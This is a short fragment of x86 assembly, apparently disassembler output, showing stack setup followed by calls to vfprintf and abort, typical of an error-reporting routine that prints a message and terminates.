mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]